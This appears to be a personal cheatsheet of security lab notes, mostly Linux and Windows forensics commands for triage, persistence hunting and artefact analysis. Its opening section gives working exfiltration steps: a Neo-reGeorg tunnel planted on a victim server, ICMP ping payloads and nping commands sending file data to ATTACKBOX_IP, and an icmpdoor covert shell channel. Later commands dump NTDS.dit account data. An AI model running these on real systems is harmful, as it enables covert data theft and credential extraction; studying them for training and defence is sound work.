Skip to content

Processes

[!Note] Heavy work in progress

A curated list of steps/processes to use when tackling a certain problem.

When dealing with a certain challenge, you have to come up with a plan to come up with a solution. But you are not the first one to have dealt with this. So here I present a list of processes I have used that could help me and others finding the right programs/commands that they need.

Need a better meme here..


Subjects

Knowledge Bases

🔰 Name â„šī¸ Description 🔗 Link
****

Cheatsheets

🔰 Name â„šī¸ Description 🔗 Link
****

Tools Top Tips

🔰 Name â„šī¸ Description 🔗 Link
****

Data Exfiltration

TCP Socket

SSH

HTTP(S)

HTTP Tunneling

Encapsulates other protocols and sends them back and forth via the HTTP protocol. Create an HTTP tunnel communication channel to pivot into the internal network and communicate with local network devices through HTTP protocol.

Use a Neo-reGeorg tool to establish a communication channel to access the internal network devices.

Generate a Neo-ReGeorg key

python3 neoreg.py generate -k thm

Upload tunnel file to the victim server.

Create the tunnel

python3 neoreg.py -k thm -u http://10.10.230.138/uploader/files/tunnel.php

Connect to a machine behind the webserver through the tunnel.

curl

curl --socks5 127.0.0.1:1080 http://172.20.0.120:80/flag

ICMP

Sending data with an ICMP ping packet

Manually

Convert payload into hex, for example with xxd.

echo "thm:tryhackme" | xxd -p

Send a ping request with the payload.

ping <IP> -c <nr of requests> -p <payload in hex format>

ping 10.10.230.138 -c 1 -p 74686d3a7472796861636b6d650a 

Capture the request with e.g., Wireshark.

MetaSploit

Select the icmp_exfill module to set a listener to capture any ICMP packets. It starts recording upon receiving a trigger and ends when an EOF trigger is received.

Set the correct interface to listen on.

use auxiliary/server/icmp_exfil
set BPF_FILTER icmp and not src ATTACKBOX_IP
set INTERFACE eth0
run

Now Metasploit is waiting for a beginning of file trigger as stated.

Using nping or regular ping send a BOF trigger to start recording data (from the victim machine).

sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt"

Send the rest of the data in a similar manner.

Send the EOF trigger.

sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "OEF"

Find the loot in the location as stated (on the attack machine).

Tunneling

ICMPDoor tool can be used to create an ICMP tunnel.

🔗 https://github.com/krabelize/icmpdoor

Setup a host on the victim machine.

sudo icmpdoor -i eth0 -d 192.168.0.133

Setup a client on the attack machine

sudo icmp-cnc -i eth1 -d 192.168.0.121

Send commands to the victim machine as usual.

DNS

Digital Forensics

Examining Cron Jobs

Cron jobs are a common persistence mechanism on Linux. Inspect scheduled tasks to identify any suspicious or attacker-added entries.

crontab -l
List cron jobs for the current user.

cat /etc/crontab
View the system-wide crontab.

ls -la /etc/cron.*
List all cron directories (hourly, daily, weekly, monthly).

sudo ls -al /var/spool/cron/crontabs/
List which users have crontab files configured.

sudo cat /var/spool/cron/crontabs/<username>
Inspect the cron configuration for a specific user.

cat /var/spool/cron/crontabs/*
View cron jobs for all users (requires elevated privileges).

Process Analysis

Inspecting running processes can reveal malicious activity such as hidden processes, suspicious parent-child relationships, or processes communicating with external hosts.

ps

ps aux
List all running processes with detailed information.

pstree

pstree -aups
Display processes in a tree structure, showing parent-child relationships and command arguments.

top

top
Interactive real-time view of running processes and resource usage.

lsof

lsof -i
List open network connections. Add a port with :PORT to filter, e.g. lsof -i :4444.

sudo lsof -p <PID>
List all open files (including network sockets) for a specific process. Useful for investigating a suspicious PID found via ps or pstree.

pspy64

./pspy64
Monitor processes and commands executed without requiring root privileges. Useful for detecting cronjobs or scripts executed by other users.

Service & Journal Analysis

Services are a common persistence mechanism. Reviewing active services and their logs can reveal attacker-installed backdoors or compromised legitimate services.

systemctl

sudo systemctl list-units --all --type=service
List all services including inactive and failed ones. The broad view helps uncover suspicious or oddly named services.

systemctl list-units --type=service --state=running
List only currently running services.

systemctl status <service-name>
View the status and recent log output for a specific service.

systemctl cat <service-name>
Print the full unit file for a service. Reveals hardcoded commands, persistence logic, or network activity.

cat /etc/systemd/system/<service>.service
Directly inspect the service definition file on disk.

journalctl

sudo journalctl -f -u <service-name>
Follow (stream) logs for a specific service in real time. Useful for observing malicious service behavior as it happens.

journalctl -u <service-name>
View the complete historical journal log for a specific service.

journalctl --since "1 hour ago"
View all journal entries from the past hour. Useful for identifying recent suspicious activity.

Browser Forensics

Browser artifacts such as history, cookies, saved credentials, and session data can be extracted for forensic analysis.

Firefox - dumpzilla.py

The Firefox profile is typically located at ~/.mozilla/firefox/<profile>/. To find the profile name, check ~/.mozilla/firefox/profiles.ini.

sudo python3 dumpzilla.py /home/<user>/.mozilla/firefox/<profile>/ --All
Extract all available data from the Firefox profile.

sudo python3 dumpzilla.py /home/<user>/.mozilla/firefox/<profile>/ --Bookmarks
Extract saved bookmarks. May reveal C2 infrastructure or attacker reconnaissance sites.

sudo python3 dumpzilla.py /home/<user>/.mozilla/firefox/<profile>/ --Cookies --Passwords
Extract cookies and saved passwords from the Firefox profile.

🔗 https://github.com/Busindre/dumpzilla

Windows - Mozilla Firefox

Profiles located in:

AppData\Roaming\Mozilla\Firefox\Profiles

Enumerate each user directory to check for Firefox artefacts:

ls C:\Users\ | foreach {ls "C:\Users\$_\AppData\Roaming\Mozilla\Firefox\Profiles" 2>$null}

Artefacts worth checking:

File / Directory Artefact Contents File Type
places.sqlite Browsing history and bookmark metadata SQLite
logins.json / key4.db Credentials saved through the browser JSON / SQLite
cookies.sqlite Cookies from sites accessed SQLite
extensions.json / extensions directory Artefacts related to Firefox extensions JSON / Folder
favicons.sqlite Favicon metadata indicating sites accessed SQLite
sessionstore-backups Session and tab metadata Folder (jsonlz4 files)
formhistory.sqlite Input data submitted by the user in web forms SQLite

Windows - Google Chrome

Profiles located in:

AppData\Local\Google\Chrome\User Data

Enumerate each user directory to check for Chrome artefacts:

ls C:\Users\ | foreach {ls "C:\Users\$_\AppData\Local\Google\Chrome\User Data\Default" 2>$null | findstr Directory}
File / Directory Artefact Contents File Type
History Browsing history and download metadata SQLite
Login Data Credentials saved through the browser SQLite
Extensions Artefacts related to Chrome extensions Folder (JavaScript and meta files)
Cache Cached files stored to optimise site loading Folder
Sessions Session and tab metadata Folder
Bookmarks Bookmark metadata JSON
Web Data Input data submitted by the user in web forms SQLite

Windows - Microsoft Edge

Profiles located in:

AppData\Local\Microsoft\Edge\User Data\Default

Enumerate each user directory to check for Edge artefacts:

ls C:\Users\ | foreach {ls "C:\Users\$_\AppData\Local\Microsoft\Edge\User Data\Default" 2>$null | findstr Directory}

Edge is Chromium-based, so its artefacts follow the same structure as Chrome. Analyse Chromium-based artefacts with ChromeCacheView or hindsight_gui.exe (see tools_and_resources.md).

SQLite browser queries for Edge:

SELECT timestamp,url,title,visit_duration,visit_count,typed_count FROM 'timeline' WHERE type = 'url' LIMIT 0,30
URLs visited by the user, including all the substantial data related to it.

SELECT timestamp,url,title,value FROM timeline WHERE type = 'download' LIMIT 0,30
List of download attempts made.

SELECT type,origin,key,value FROM 'storage' LIMIT 0,30
Render the significant information in the storage table.

Securing the Environment

While performing live forensic analysis, it is essential to note that it is a potentially compromised host. It is therfore a good idea to ensure we are using known good binaries and libraries to conduct our information gathering and analysis. Often, this can be done by mounting a USB or drive containing binaries from a clean Debian-based installation (/bin, /sbin, /lib, and /lib64).

We can modify our PATH and LD_LIBRARY_PATH (shared libraries) environment variables to use these trusted binaries:

export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64

Kernel Log Analysis

The kernel ring buffer and kernel log file record hardware events, driver messages, and system errors. Useful for detecting rootkit installations, unusual module loading, and hardware-level tampering.

dmesg

sudo dmesg
View the current contents of the kernel ring buffer.

sudo dmesg -T | grep '<keyword>'
View ring buffer messages with human-readable timestamps, filtered by keyword. Useful for investigating suspicious module loads or kernel taints.

sudo dmesg -T | grep 'custom_kernel'
Example: detect a custom or unsigned kernel module load.

cat /var/log/kern.log
View the persistent kernel log file (managed by rsyslog/syslog). Use less or tail -f for larger files.

tail -f /var/log/kern.log
Follow the kernel log in real time.

Audit Log Analysis

The Linux audit framework (auditd) records system calls, file access, and user activity. Rules define what gets logged; ausearch and aureport are used to query and report on those logs. Audit logs are stored in /var/log/audit/audit.log.

Setting Audit Rules with auditctl

Rules added via auditctl are temporary (cleared on reboot). For persistent rules, add them to /etc/audit/audit.rules.

sudo auditctl -w /etc/passwd -p wra -k users
Watch /etc/passwd for write, read, and attribute changes. Tags events with the key users.

sudo auditctl -a always,exit -F arch=b64 -S execve -k execve_syscalls
Log every program execution via the execve syscall on 64-bit systems. Tags events with execve_syscalls.

Querying Logs with ausearch

sudo ausearch -k <key>
Search audit logs by rule key.

sudo ausearch -k users
Find all events tagged with the users key (e.g., /etc/passwd changes).

sudo ausearch -k execve_syscalls
Find all program execution events.

Generating Reports with aureport

sudo ausearch -k users | aureport -f --summary
Pipe ausearch output to aureport to generate a summary report of file-related events.

sudo ausearch -k users | aureport -f user-logs
Generate a named report from ausearch output.

System Profiling

When performing live analysis on a potentially compromised host, establish a baseline by profiling the system's identity, hardware, software, and network state before proceeding with deeper investigation.

hostnamectl

hostnamectl
Display system hostname, machine ID, operating system, kernel version, and virtualisation type.

uptime

uptime
Show how long the system has been running, the number of logged-in users, and load averages.

lscpu

lscpu
Display detailed CPU architecture information (cores, threads, vendor, model).

df

df -h
Report disk space usage across all mounted filesystems in human-readable format.

lsblk

lsblk
List block devices (disks and partitions) with sizes and mount points.

free

free -h
Show memory usage (total, used, free, cached) in human-readable format.

dpkg

dpkg -l
List all installed Debian packages. Useful for identifying suspicious or unexpected software.

apt

apt list --installed | head -n 30
List installed packages via apt. Can help spot packages that seem out of place in the server context.

ip

ip a
Display all network interfaces and their IP addresses. Modern replacement for ifconfig.

ip r
Display the IP routing table. Modern replacement for route.

ss

ss -tlun
Show active TCP/UDP listening sockets with process names. Modern replacement for netstat -tlun.

Windows User Account Forensics

Windows records user account activity through Security event logs and stores account data in the SAM and NTDS databases.

Registry Hive Locations

Hive Root Key File Path
SAM HKEY_LOCAL_MACHINE\SAM %SystemRoot%\System32\config\SAM
SYSTEM HKEY_LOCAL_MACHINE\SYSTEM %SystemRoot%\System32\config\SYSTEM
SECURITY HKEY_LOCAL_MACHINE\SECURITY %SystemRoot%\System32\config\SECURITY
SOFTWARE HKEY_LOCAL_MACHINE\SOFTWARE %SystemRoot%\System32\config\SOFTWARE
DEFAULT HKEY_USERS\.DEFAULT %SystemRoot%\System32\config\DEFAULT
NTUSER.DAT HKEY_CURRENT_USER %UserProfile%\NTUSER.DAT
UsrClass.dat HKEY_CURRENT_USER\Software\Classes %UserProfile%\AppData\Local\Microsoft\Windows\UsrClass.dat

Event Log Artifacts

Account-related events are found in Windows Logs → Security (Event Viewer).

Event ID Description
4720 User account created
4722 User account enabled
4738 User account modified
4740 User account locked (repeated failed login attempts)
4726 User account deleted

SAM Database

The Security Account Manager (SAM) stores local and system account information including account creation, alteration, and deletion activity.

%SystemRoot%\system32\config\SAM

NTDS.dit Analysis

The NT Directory Services (NTDS) database (NTDS.dit) stores domain user accounts, groups, and directory data in a networked domain environment.

Export the NTDS.dit file and SYSTEM hive:

ntdsutil.exe "activate instance ntds" "ifm" "create full C:\Exports" quit quit

Extract the boot key using DSInternals:

$bootKey = Get-BootKey -SystemHivePath 'C:\Exports\registry\SYSTEM'

Fetch all account details:

Get-ADDBAccount -All -DBPath 'C:\Exports\Active Directory\NTDS.dit' -BootKey $bootKey

NTLM Authentication in Network Traffic

NTLM uses a 3-stage handshake: Negotiation → Challenge → Authentication (DCERPC protocol). Open a pcap containing captured authentication traffic in Wireshark.

To decrypt when the NT password is known: Edit → Preferences → Protocols → NTLMSSP → enter the password.

Also inspect DsGetDomainControllerInfo responses (DRSUAPI protocol) for domain controller details.

Group Policy Object (GPO) Artifacts

Artifact Location
Custom user settings HKEY_CURRENT_USER; user profile directories
Login scripts SYSVOL folder; User Configuration settings in GPO; user profile execution logs
User rights assignments %SystemRoot%\security\database\secedit.sdb
Security policy changes HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies
System services config HKEY_LOCAL_MACHINE\SYSTEM
Network config changes HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList; %SystemRoot%\System32\drivers\etc

Registry Forensics - User Activity

Artifact Description Registry Path
TypedPaths Identifies the directories searched or accessed through the file explorer's address bar. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
WordWheelQuery Keeps track of all the terms searched in Explorer. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery
RecentDocs Keeps track of documents recently accessed on the system. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
ComDlg32 - LastVisitedPidlMRU Keeps track of the last file accessed or where the previous file was saved. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU
ComDlg32 - OpenSavePidlMRU Keeps track of the last file accessed or where the previous file was saved. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU
UserAssist Registers when a tool/program is run. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist
RunMRU Stores information about the most recently executed programs via the Run dialogue window. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

ShellBags

ShellBags record how a user browsed folders, stored primarily in UserClass.dat.

HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell

Information stored in ShellBags:

  • Folder View Settings - how a user viewed a particular folder (e.g., list, icons, details).
  • Folder Paths - paths of accessed directories, including those on external devices or network shares.
  • Timestamps - when a folder was first created, last accessed, and possibly modified.
  • User Preferences - icon position, window size, and sort order within a folder.
  • Deleted Folders - ShellBags can retain information about folders that have since been deleted.
  • Network and External Drive Access - a history of folders accessed on external drives and network locations.

Windows Program Execution Artifacts

Windows retains several artifacts that reveal program and file execution history, useful for establishing what an attacker accessed or ran on a compromised host.

LNK Files - LECmd

LNK (shortcut) files are automatically created when a user opens a file, revealing recently accessed items even if the original file has since been deleted.

Locations:

%userprofile%\AppData\Roaming\Microsoft\Windows\Recent
%userprofile%\recent

.\LECmd.exe -d C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent --csvf Parsed-LNK.csv --csv C:\Users\Administrator\Desktop
Parse all LNK files in the Recent folder and export the results to a CSV.

LECmd.exe -f <path to file>
Analyse a single LNK file.

Jumplists

Jumplists track recently or frequently accessed files/programs per application, and can be analysed with JLECmd or JumpList Explorer.

Locations:

%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations
%APPDATA%\Microsoft\Windows\Recent\CustomDestinations

Prefetch - PECmd

Prefetch files record program execution details such as run count, last run times, and loaded files/DLLs, making them valuable for establishing program execution history.

.\PECmd.exe -d "C:\Windows\Prefetch" --csv "C:\Users\Administrator\Desktop\Forensics Tools" --csvf prefetch-parsed.csv
Parse all prefetch files and export the results to a CSV.

Amcache - AmcacheParser

The Amcache.hve registry hive records metadata about executed and installed applications, including file paths, hashes, and first-run timestamps.

.\AmcacheParser.exe -f "C:\Windows\appcompat\Programs\Amcache.hve" --csv C:\Users\Administrator\Desktop --csvf Amcache_Parsed.csv
Parse the Amcache.hve file and export the results to a CSV.

Windows Incident Surface

Live analysis of a Windows host establishes a baseline of the system's identity, users, network exposure, persistence points, services, and running processes before deeper investigation.

System Profile

Identify the system hostname, IP addresses, and MAC addresses of all interfaces.

Get-CimInstance win32_networkadapterconfiguration -Filter IPEnabled=TRUE | ft DNSHostname, IPAddress, MACAddress

Get the computer name, OS version, build number, install date, last boot time, and architecture information.

Get-CimInstance -ClassName Win32_OperatingSystem | fl CSName, Version, BuildNumber, InstallDate, LastBootUpTime, OSArchitecture

Get the current date and the timezone of the system.

Get-Date ; Get-TimeZone

Create an HTML report for system policies.

Get-GPResultantSetOfPolicy -ReportType HTML -Path (Join-Path -Path (Get-Location).Path -ChildPath "RSOPReport.html")

Users and Sessions

See the available local users in the system.

Get-LocalUser | tee l-users.txt

See last logon date.

Get-LocalUser | ft Name, LastLogon

More information about users.

Get-CimInstance -Class Win32_UserAccount -Filter "LocalAccount=True" | Format-Table  Name, PasswordRequired, PasswordExpires, PasswordChangeable | Tee-Object "user-details.txt"

Explore the local group memberships.

Get-LocalGroup | ForEach-Object { $members = Get-LocalGroupMember -Group $_.Name; if ($members) { Write-Output "`nGroup: $($_.Name)"; $members | ForEach-Object { Write-Output "`tMember: $($_.Name)" } } } | tee gp-members.txt

View active sessions.

.\PsLoggedon64.exe | tee sessions.txt

Network Scope

Active ports and connections for TCP.

Get-NetTCPConnection | select Local*, Remote*, State, OwningProcess,` @{n="ProcName";e={(Get-Process -Id $_.OwningProcess).ProcessName}},` @{n="ProcPath";e={(Get-Process -Id $_.OwningProcess).Path}} | sort State | ft -Auto | tee tcp-conn.txt

List the network shares.

Get-CimInstance -Class Win32_Share | tee net-shares.txt

Identify the status of the available firewall profiles.

Get-NetFirewallProfile | ft Name, Enabled, DefaultInboundAction, DefaultOutboundAction | tee fw-profiles.txt

List all the active firewall rules to see if we can find something juicy there.

.\fw-summary.ps1 | tee fw-rules.txt

fw-summary.ps1:

Get-NetFirewallRule | Where-Object { $_.Enabled -eq "True" } | Sort-Object -Property DisplayName |
ft -Property DisplayName,
@{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},
@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}},
@{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},
@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}}, Direction, Action,
@{Name='Program';Expression={($PSItem | Get-NetFirewallApplicationFilter).Program}}

Startup and Registry

List down all the scheduled task entries along with their hash value.

.\autorunsc64.exe -a b * -h | tee boot.txt

List the programs and commands executed in the startup sequence.

Get-CimInstance Win32_StartupCommand | Select-Object Name, command, Location, User | fl | tee autorun-cmds.txt

Services and Scheduled Items

List down the running services of the machine.

"Running Services:"; Get-CimInstance -ClassName Win32_Service | Where-Object { $_.State -eq "Running" } | Select-Object Name, DisplayName, State, StartMode, PathName, ProcessId | ft -AutoSize | tee services-active.txt

List down the non-running/idle services of the machine.

"Non-Running Services:"; Get-CimInstance -ClassName Win32_Service | Where-Object { $_.State -ne "Running" } | Select-Object @{Name='Name'; Expression={if ($_.Name.Length -gt 22) { "$($_.Name.Substring(0,19))..." } else { $_.Name }}}, @{Name='DisplayName'; Expression={if ($_.DisplayName.Length -gt 45) { "$($_.DisplayName.Substring(0,42))..." } else { $_.DisplayName }}}, State, StartMode, PathName, ProcessId | Format-Table -AutoSize | Tee-Object services-idle.txt      

List all the available scheduled tasks.

$tasks = Get-CimInstance -Namespace "Root/Microsoft/Windows/TaskScheduler" -ClassName MSFT_ScheduledTask; if ($tasks.Count -eq 0) { Write-Host "No scheduled tasks found."; exit } else { Write-Host "$($tasks.Count) scheduled tasks found." }; $results = @(); foreach ($task in $tasks) { foreach ($action in $task.Actions) { if ($action.PSObject.TypeNames[0] -eq 'Microsoft.Management.Infrastructure.CimInstance#Root/Microsoft/Windows/TaskScheduler/MSFT_TaskExecAction') { $results += [PSCustomObject]@{ TaskPath = $task.TaskPath.Substring(0, [Math]::Min(50, $task.TaskPath.Length)); TaskName = $task.TaskName.Substring(0, [Math]::Min(50, $task.TaskName.Length)); State = $task.State; Author = $task.Principal.UserId; Execute = $action.Execute } } } }; if ($results.Count -eq 0) { Write-Host "No tasks with 'MSFT_TaskExecAction' actions found." } else { $results | Format-Table -AutoSize | tee scheduled-tasks.txt }

Processes and Directories

List down the current running processes.

Get-WmiObject -Class Win32_Process | ForEach-Object {$owner = $_.GetOwner(); [PSCustomObject]@{Name=$_.Name; PID=$_.ProcessId; P_PID=$_.ParentProcessId; User="$($owner.User)"; CommandLine=if ($_.CommandLine.Length -le 60) { $_.CommandLine } else { $_.CommandLine.Substring(0, 60) + "..." }; Path=$_.Path}} | ft -AutoSize | tee process-summary.txt

List down the Temp folders for all the user profiles.

Get-ChildItem -Path "C:\Users" -Force | Where-Object { $_.PSIsContainer } | ForEach-Object { Get-ChildItem -Path "$($_.FullName)\AppData\Local\Temp" -Recurse -Force -ErrorAction SilentlyContinue | Select-Object @{Name='User';Expression={$_.FullName.Split('\')[2]}}, FullName, Name, Extension } | ft -AutoSize | tee temp-folders.txt

Review a specific path.

Get-ChildItem -Path "C:\Users\Administrator\AppData\SpcTmp\" -Recurse -Force | ft FullName, Name, Extension

Check the disk volumes of a system.

Get-CimInstance -ClassName Win32_Volume | ft -AutoSize DriveLetter, Label, FileSystem, Capacity, FreeSpace | tee disc-volumes.txt

File Carving

File carving recovers files from a disk image based on file headers, footers, and internal structures, rather than relying on filesystem metadata. Useful for recovering deleted files.

foremost

foremost -t pdf,jpg,png -i Challenge3_deleted_disk.img -o Challenge3_files -c /etc/custom_foremost.conf
Carve PDF, JPG, and PNG files out of a disk image using a custom configuration file.

scalpel

scalpel Challenge3_deleted_disk.img -o ScalpelOutput -c /etc/scalpel/scalpel.conf
Carve files out of a disk image using scalpel's configuration file to define which types to recover.

Registry Analysis Tools

Several dedicated tools exist to expedite registry analysis during an investigation, each suited to different tasks.

Registry Explorer (GUI) allows browsing, searching, and comparing offline registry hives, with a large library of community plugins that decode known keys into human-readable values. It can also repair a "dirty" hive (one with pending, uncommitted changes) by replaying the associated transaction logs before analysis.

RECmd (command-line) runs batch definition files against one or more hives to extract specific keys/values in bulk — useful for scripted or repeatable triage across many hosts.

RegRipper (command-line/GUI) runs a library of plugins against a hive to extract and report on forensically relevant keys and values, similar in purpose to RECmd but with its own plugin ecosystem.

Note: RegRipper (and RECmd) cannot process a dirty hive. If a hive contains uncommitted transaction log data, it must first be repaired using Registry Explorer before running RegRipper or RECmd against it.

Useful Registry Locations

System Info & Accounts

Artifact Registry Path
OS Version SOFTWARE\Microsoft\Windows NT\CurrentVersion
Current Control Set HKLM\SYSTEM\CurrentControlSet, SYSTEM\Select\Current, SYSTEM\Select\LastKnownGood
Computer Name SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Time Zone Information SYSTEM\CurrentControlSet\Control\TimeZoneInformation
Network Interfaces & Past Networks SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
SAM Hive & User Information SAM\Domains\Account\Users

Autostart Programs (Autoruns)

  • NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run
  • NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  • SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
  • SOFTWARE\Microsoft\Windows\CurrentVersion\Run

File/Folder Usage or Knowledge

Artifact Registry Path
Recent Files NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
Office Recent Files NTUSER.DAT\Software\Microsoft\Office\<VERSION>\UserMRU\LiveID_####\FileMRU
ShellBags USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags, USRCLASS.DAT\...\Shell\BagMRU, NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU, NTUSER.DAT\...\Shell\Bags
Open/Save & LastVisited Dialog MRUs NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU, ...\ComDlg32\LastVisitedPidlMRU
Windows Explorer Address/Search Bars NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths, ...\Explorer\WordWheelQuery

Some of these overlap with the Windows User Account Forensics section above.

External/USB Device Forensics

Artifact Registry Path
Device Identification SYSTEM\CurrentControlSet\Enum\USBSTOR, SYSTEM\CurrentControlSet\Enum\USB
First/Last Connection Times SYSTEM\CurrentControlSet\Enum\USBSTOR\<Ven_Prod_Version>\<USBSerial#>\Properties\{83da6326-97a6-4088-9453-a19231573b29}\#### — value 0064 = first connection, 0066 = last connection, 0067 = last removal
USB Device Volume Name SOFTWARE\Microsoft\Windows Portable Devices\Devices

Evidence of Execution

Artifact Registry Path
UserAssist NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count
ShimCache SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache
AmCache Amcache.hve\Root\File\{Volume GUID}\
BAM/DAM SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}, SYSTEM\CurrentControlSet\Services\dam\UserSettings\{SID}

🔗 Source: TryHackMe Windows Forensics 1 cheatsheet

Scheduled Tasks & Services Analysis

Scheduled tasks and services are common persistence mechanisms; comparing them against known-good baselines helps identify outliers.

Relevant Event IDs

Scheduled Tasks:

Event ID Description
4698 A scheduled task was created
4702 A scheduled task was updated

Services:

Event ID Description
7045 A new service was installed (System channel)
4697 A service was installed in the system (Security channel)

Read the event logs via PowerShell:

Get-WinEvent -FilterHashTable @{LogName='System';ID='7045'} | fl

Enumerating Scheduled Tasks

Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"}
List all enabled scheduled tasks.

Get-ScheduledTask | Where-Object {$_.Date -ne $null -and $_.State -ne "Disabled"} | Sort-Object Date | select Date,TaskName,Author,State,TaskPath | ft
List all enabled scheduled tasks that have a creation date, sorted by date.

schtasks.exe /query /fo CSV | findstr /V Disabled
Native command alternative to list all non-disabled scheduled tasks.

A single script to list all scheduled tasks sorted by their creation date, together with all the significant information:

# List all enabled scheduled tasks with creation date and command to be executed, sorted by date and printing all additional information
$tasks = Get-ScheduledTask | Where-Object {$_.Date -ne $null -and $_.State -ne "Disabled" -and $_.Actions.Execute -ne $null} | Sort-Object Date

foreach ($task in $tasks) {
    $taskName = $task.TaskName
    $taskDate = $task.Date
    $taskPath = $task.TaskPath
    $taskAuthor = $task.Author
    $taskCommand = $task.Actions.Execute
    $taskArgs = $task.Actions.Arguments
    $taskRunAs = $task.Principal.UserId

    # Output service information
    Write-Host "Task Name: $taskName"
    Write-Host "Task Author: $taskAuthor"
    Write-Host "Creation Date: $taskDate"
    Write-Host "Task Path: $taskPath"
    Write-Host "Command: $taskCommand $taskArgs"
    Write-Host "Run As: $taskRunAs"
    Write-Host ""
}

Enumerating Services

Get-Service | Where-Object {$_.Status -eq "Running" -and $_.StartType -eq "Automatic"}
List all running services set to start automatically.

Add the binary these services execute:

$services = Get-Service | Where-Object {$_.Status -eq "Running" -and $_.StartType -eq "Automatic"}

foreach ($service in $services) {
    $serviceName = $service.Name
    $serviceDisplayName = $service.DisplayName
    $serviceStatus = $service.Status
    $serviceWMI = (Get-WmiObject Win32_Service | Where-Object { $_.Name -eq $serviceName })
    $servicePath = $serviceWMI.PathName
    $serviceUser = $serviceWMI.StartName

    Write-Host "Service Name: $serviceName"
    Write-Host "Display Name: $serviceDisplayName"
    Write-Host "Service Status: $serviceStatus"
    Write-Host "Executable Path: $servicePath"
    Write-Host "User Context: $serviceUser"
    Write-Host ""
}

Retrieve the Service registry key's Last Write Time using Get-RegWriteTime.ps1:

powershell.exe -ep bypass
Import-Module C:\Tools\Get-RegWriteTime.ps1; 
$services = Get-Service | Where-Object {$_.Status -eq "Running" -and $_.StartType -eq "Automatic"}

foreach ($service in $services) {
    $serviceName = $service.Name
    $serviceWMI = (Get-WmiObject Win32_Service | Where-Object { $_.Name -eq $serviceName })
    $serviceDisplayName = $service.DisplayName
    $serviceStatus = $service.Status
    $servicePath = $serviceWMI.PathName
    $serviceUser = $serviceWMI.StartName
    $serviceLastWriteTime = Get-Item HKLM:\SYSTEM\CurrentControlSet\Services\$serviceName | Get-RegWriteTime | Select LastWriteTime

    Write-Host "Service Name: $serviceName"
    Write-Host "Display Name: $serviceDisplayName"
    Write-Host "Service Status: $serviceStatus"
    Write-Host "Executable Path: $servicePath"
    Write-Host "User Context: $serviceUser"
    Write-Host "Last Write Time: $serviceLastWriteTime"
    Write-Host ""
}

Reviewing stopped services that are still set to run automatically on boot is also essential for spotting outliers (e.g. a service disabled by an attacker to avoid detection):

Import-Module C:\Tools\Get-RegWriteTime.ps1;
$services = Get-Service | Where-Object {$_.Status -eq "Stopped" -and $_.StartType -eq "Automatic"}

foreach ($service in $services) {
    $serviceName = $service.Name
    $serviceWMI = (Get-WmiObject Win32_Service | Where-Object { $_.Name -eq $serviceName })
    $serviceDisplayName = $service.DisplayName
    $serviceStatus = $service.Status
    $servicePath = $serviceWMI.PathName
    $serviceUser = $serviceWMI.StartName
    $serviceLastWriteTime = Get-Item HKLM:\SYSTEM\CurrentControlSet\Services\$serviceName | Get-RegWriteTime | Select LastWriteTime

    Write-Host "Service Name: $serviceName"
    Write-Host "Display Name: $serviceDisplayName"
    Write-Host "Service Status: $serviceStatus"
    Write-Host "Executable Path: $servicePath"
    Write-Host "User Context: $serviceUser"
    Write-Host "Last Write Time: $serviceLastWriteTime"
    Write-Host ""
}

Services are also recorded in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

Outlook Forensics

Profiles located in:

AppData\Local\Microsoft\Outlook

Enumerate each user directory to check for Outlook artefacts:

ls C:\Users\ | foreach {ls "C:\Users\$_\AppData\Local\Microsoft\Outlook\" 2>$null | findstr Directory}

Use XstReader to open the .ost/.pst file (see tools_and_resources.md).

Microsoft Teams Forensics

Metadata folder:

AppData\Roaming\Microsoft\Teams

Enumerate each user directory to check for Teams artefacts:

ls C:\Users\ | foreach {ls "C:\Users\$_\AppData\Roaming\Microsoft\Teams" 2>$null | findstr Directory}

Use Forensics.im (Autopsy plugin) to parse the Teams metadata, or the standalone ms_teams_parser binary (see tools_and_resources.md):

